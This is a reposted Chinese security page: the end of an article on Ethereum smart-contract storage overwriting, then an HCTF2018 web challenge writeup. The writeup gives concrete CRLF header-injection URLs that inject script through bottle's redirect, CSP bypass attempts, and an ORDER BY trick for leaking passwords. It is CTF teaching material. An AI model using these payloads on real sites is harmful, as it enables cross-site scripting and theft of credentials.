        uint funds;
    }

mapping (address =&gt; Person) people;

people是一个键为address类型,值为struct的mapping,在storage中,people变量的储存地址计算公式如下

address(people_data) = sha3(key,slot)+offset

其中key就是mapping类型中的键名,slot就是people变量在全局变量中声明的位置,offset就是变量在结构体内的位置,比如people是第一个全局变量:

people[0xaaa].addr[1] = 0xbbb
==&gt;
address(people_data) = sha3(sha3(0xaaa,0)+0)+1
==&gt;
storage[sha3(sha3(0xaaa,0)+0)+1] = 0xbbb

对于上面的三种典型结构来说,虽然可以保证sha3的结果不会重复,但很难保证sha3(a)+b不和sha3(c)重复,所以,虽然几率很小,但仍然可能因为hash碰撞导致变量被覆盖。

再回到攻击者角度,一旦变长数组的key可以被控制,就有可能人为的控制覆盖变量,产生进一步利用。

详细的原理可以参照以太坊智能合约 OPCODE 逆向之理论基础篇

漏洞影响范围

经过研究,我们把这类问题统一归结是变量覆盖问题,当array变量出现,且参数可控时,就有可能导致恶意利用了。

“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。目前Haotian平台智能合约审计功能已经集成了该规则。

截至2018年11月15日,我们使用HaoTian对全网公开的智能合约进行扫描,其中共有277个合约存在潜在的该问题,其中交易量最高的10个合约情况如下:

总结

这是一起涉及到底层设计结构的变量覆盖问题,各位智能合约的开发者们可以关于代码中可能存在的这样的问题,避免不必要的损失。

上述变量覆盖问题已经更新到以太坊合约审计checkList

REF


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/745/

原文阅读

HCTF2018 部分 web 题目 Writeup
Elfinx 2018-11-16 9:16 转存
作者:LoRexxar'@知道创宇404实验室
时间:2018年11月14日

HCTF2018在出题的时候其实准备了一个特别好的web题目思路,可惜赛前智能合约花了太多时间和精力,没办法只能放弃了之前的web题,在运维比赛的过程中,我发现学弟出的一些题目其实很有意思值得思考。

bottle

bottle是小学弟@luo00出的题目,源码如下 https://github.com/Lou00/HCTF2018_Bottle

整个站几乎只有一个功能就是有一个可控的任意跳转,然后根据题目功能可以判断是一道xss题目。其实技巧挺明确的,就是比较冷门,我第一次见是阿里先知的xss挑战赛。

https://lorexxar.cn/2017/08/31/xss-ali/#05%E8%B7%B3%E8%BD%AC

然后本题的思路主要来自于ph师傅的一篇分析 https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

首先这个问题有意思的点在于挺多的,在原本的环境下,bottle有个特殊的鬼畜特性在于,他的header顺序是会变得...

首先我们需要明白一个问题,在流量中,body和header是在一起的,在header的两个换行后内容会被自动识别为body

所以在bottle.redirect(path)中存在location头注入,我们就可以通过传入两个换行来吧header挤到body中,这样就可以控制页面的返回了

150.109.53.69:/path?path=//150.109.53.69:0%2f%0D%0A%0D%0Atest

正常来说,直接注入script就可以了

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0A<span class="nt">&lt;html&gt;&lt;head&gt;&lt;script&gt;</span>alert`1`<span class="nt">&lt;/script&gt;</span>

原文中说当端口小于80,firefox就会卡住,但我实际测试只有0端口会卡住,可能我环境不同

这就是题目的原解,这里虽然加入了CSP,但其实没区别,由于bottle头随机的问题,当CSP随机到location下面时,就可以注入js了,但这样就成了一个随机的题目了,学弟想让别人注意到bottle特性而不是随便撞到,这里就设置了脚本定时重启,然后让头更随机一点儿。

攻击者需要意识到这个问题然后不断提交才可以攻击成功,但可惜这种攻击方式就随机了,失去了ctf本身的乐趣,变得太无趣了。

-----------下面开始脑洞时间,实际没有作用,不想看可以跳过----------------------

尝试

仔细思考了一下逻辑我开始想办法改进这题。当然,改进题目的基础必然是想办法减少随机性,所以一些讨论的基础都在于CSP头稳定在location之上。

其实可以发现,CSP特别简单,最简单的self CSP

response.add_header('Content-Security-Policy',"default-src 'self'; script-src 'self'")

self CSP最大的问题在于如果能找到一个self源内容可控的,那CSP就可以被绕过了。

然后我发现,这个漏洞不是刚好就是可以控制页面内容吗,于是一个漏洞利用链想到了

构造一个CLRF控制内容注入alert,然后构造CLRF,然后构造第二个CLRF注入script,然后src引入前面的链接。

听起来非常完美的利用链。这其中也有几个小坑。

首先构造一个alert

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0Aalert%60%31%60%3b

这里想到现代浏览器对content-type可能有要求,所以直接头注入设置content-type为text/javascript

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert`1`

然后尝试引入这个链接,然后需要注意二次urlencode,不然%0a%0d都会解开

http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0A<span class="nt">&lt;html&gt;&lt;head&gt;&lt;script</span><span class="err">/</span><span class="na">src=</span><span class="s">%68%74%74%70%3a%2f%2f%31%35%30%2e%31%30%39%2e%35%33%2e%36%39%3a%33%30%30%30%2f%70%61%74%68%3f%70%61%74%68%3d%68%74%74%70%3a%2f%2f%31%35%30%2e%31%30%39%2e%35%33%2e%36%39%3a%30%25%32%66%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%61%2b%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%25%33%62%2b%63%68%61%72%73%65%74%25%33%64%55%54%46%2d%38%25%30%44%25%30%41%25%30%44%25%30%41%61%6c%65%72%74%60%31%60</span><span class="nt">&gt;&lt;/script&gt;</span>

看上去很有道理,然后访问...然后失败...Orz,被CSP ban了

仔细回想上面的流程,其实有个很重要的问题没有注意到,这个问题我也是第一次重视到。

CSP和cookie的同源策略一样,不但对ip做限制,对端口也有限制。最过分的是,CSP在location头存在的时候,会跟入判断location

也就意味着,我们试图引入http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert作为目标js引入,会被认为引入http://150.109.53.69:0这个来源的js,端口为0,self的端口为3000,所以被拦截了。

而且值得注意的是,这里如果把CSP改为

response.add_header('Content-Security-Policy',"default-src 'self'; script-src 150.109.53.69")

CSP中如果不设置端口,默认会认为是80端口。同样没办法绕过。

经过了一番研究我发现这个端口判定没有别的解决办法,如果不用跳0的办法,正常的302是会跟随跳转过去的。

无奈我修改题目把CSP改成了

response.add_header('Content-Security-Policy',"default-src 'self'; script-src 150.109.53.69:*")

然后我开始继续上面的测试,果然,仍然失败了......这次报错不一样了,阻拦加载的并不是CSP。

firefox的控制台显示script加载失败,仔细研究了一番突然意识到一个事情,是不是浏览器的不加载非200的静态资源

于是我用flask简单写了一段代码测试了一下

<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span>
<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>

<span class="nd">@app.route</span><span class="p">(</span><span class="s1">'/'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">hello_world</span><span class="p">():</span>
    <span class="k">return</span> <span class="s1">'alert(1);'</span><span class="p">,</span> <span class="mi">303</span>

<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
    <span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>

事实证明的确是这样的,浏览器在这块的安全性已经做的非常好了,这种奇怪的操作完全不成立...

思考到最后,我忽然又意识到了一个问题,假设我把跳转那个页面生生改成200,然后去加载,有一个致命的利用问题。

模拟出来的页面内容是这样的

alert`1`;
xxxxxheader: xxxx

我没办法改变下面的内容,而js虽然是逐行渲染的,但遇到报错之后整块script都会阻止,不再继续加载了,然后我就又回到了最初的问题,我必须保证locaion是最后一行header才行...我违背了最初想要去除随机性的目的...

最后没办法,还是将题目改回原样了,这里的思考过程挺有意思的,分享给大家,也感谢在试验过程中@Math1as给我出了很多主意。

game

game这道题是我的另一个小学弟@undifined出的题目,后来听他说起这个思路我觉得蛮有意思的,这里出成题目用了明文密码入库虽说是比较强行,但其实用来注其他信息还是不难的,是个很有趣的想法。

第一次见到这种思路是在pwnhub上

https://pwnhub.cn/questiondetail?id=3

这题目当时是上传文件,然后后端展示的时候会有排序,通过不断上传就可以得到目标文件名字。

这里也是一样,这里是一个近似于逻辑漏洞,站内只有两个功能:

  1. 打游戏获得积分
  2. 排行榜,可以根据不同的字段排行

排行榜的数据都是实时的,而且整个部分没有任何的注入点,完全不能SQL注入,但由于可以根据不同的字段排行,所以order by后面的字段名可控,除了常规的id, username, sex, score以外,也可以更具password来排行,再加上数据库中密码是明文存取的(不是明文也可以,只是获得的是hash)

知道了原理,我们就可以通过不断插入新的账号来逼近目标字符串,因为数据库排序和前面说的linux文件名排序是一样的,很有趣。

ac &gt; adf &gt; ad

想明白就可以直接写脚本跑起来


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/744/

原文阅读

本站作者

每日荐书

在不完美的世界力求正常——读《公司的坏话》

书名:《公司的坏话》

作者:李天田(脱不花妹妹)

出版社:北京大学出版社

赞助商

广告